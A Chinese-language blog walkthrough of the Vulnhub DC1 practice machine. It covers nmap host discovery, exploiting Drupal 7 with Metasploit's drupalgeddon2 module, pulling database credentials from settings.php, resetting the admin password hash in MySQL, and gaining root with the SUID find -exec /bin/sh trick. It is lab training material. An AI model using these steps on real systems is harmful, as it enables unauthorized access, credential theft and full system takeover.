Vulnhub DC1
前言
之前断断续续打过一些靶机,主要原因是自己偷懒然后没有学好,现在想系统的再巩固一下知识,顺便练练手,让自己不那么菜,话不多说,直接开始。
环境说明:VMware 16.2.0,Kali和DC1均使用NAT模式连接;
Kali: 192.168.150.187
DC1: 192.168.150.188
主机发现
在Kali中用nmap扫描网段内存活的主机:
nmap 192.168.150.1/24
由于只开了两个虚拟机,且Kali的IP地址为192.168.150.187,可知DC1的IP地址为192.168.150.188:
发现DC1开放了80端口,直接访问一下 http:192.168.150.188:
flag1
继主机发现之后,使用Firefox的插件 wappalyzer(chrome也可以)查看站点信息:
可以发现DC1站点的CMS是 Drupal7 ,使用Kali自带的msf6查找 Drupal7 CMS的可利用漏洞:
msfconsole
search drupal
找一个年份比较近并且品质比较好的EXP利用,此处选择 exploit/unix/webapp/drupal_drupalgeddon2,成功获取meterpreter会话:
use exploit/unix/webapp/drupal_drupalgeddon2 # 选择exp
set rhost 192.168.150.188 # 设置远程主机
shwo options # 查看信息
run # 攻击
获取meterpreter会话之后查看权限:
查了一下,www-data是一个低权限用户,之后再看看如何提权,当前阶段先打开shell比较重要:
shell
# 利用python获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
查看当前目录文件并获取flag1:
flag2
根据此前flag1的提示 “Every good CMS needs a config file - and so do you.”,查找Drupal 7 的配置文件所在位置为 ‘sites/default/setting.php’:
参考: https://blog.csdn.net/rf344541393/article/details/103570670
cat sites/default/settings.php
成功获取flag2,还有数据库的用户、密码,可能接下来会有用~
flag3
先翻译一下flag2给的提示:
Brute force and dictionary attacks aren’t the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
蛮力和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
您可以使用这些凭据做什么?
EMMM,暴力破解和字典攻击不是唯一方法,那就试试用mysql能不能获取一些有用的信息:
mysql -u dbuser -p
show databases;
use drupaldb;
show tables;
select * from users;
select name,pass from users;
发现两个账号,但是口令被加密过了,尝试重置管理员口令:
# 明文:password
# 哈希值:$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4
update users set pass='$S$CDbdwZvjHQ09IVRs88G0fnaxPr50/kb81YI9.8M/D9okW7J/s5U4'
where name='admin';
接着使用 admin/password 登录站点 http://192.168.150.188,发现flag3:
flag4
查看系统用户(之前想爆破用户的时候发现的,刚好可以用上):
cat /etc/passwd
发现用户flag4,找到/home/flag4目录下:
获取flag4~
flag5
根据flag4的提示:
Can you use this same method to find or access the flag in root?
Probably. But perhaps it’s not that easy. Or maybe it is?
意思是在root中可以找到flag5,但是需要root权限, 提权不是很会,就查了一下wp:
使用find查找具有root权限的suid:
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT
2>/dev/null: 隐藏错误信息并输出
find / -perm -4000 2>/dev/null
发现find命令可以用来提权,尝试使用find提权:
find / -name flag4 -exec '/bin/sh' \;
whoami
成功之后转到root目录下查看flag5:
小结一下
重做的时候发现自己已经忘记了find提权,msf的使用也有点生疏,还需要查找资料才做的出来,真的太菜啦,刚好最近有时间,可以系统的打一下这些靶机,好好总结一下,不再是打完就过了,啥也没有留在脑子里。
感谢阅读,有问题的话欢迎指正~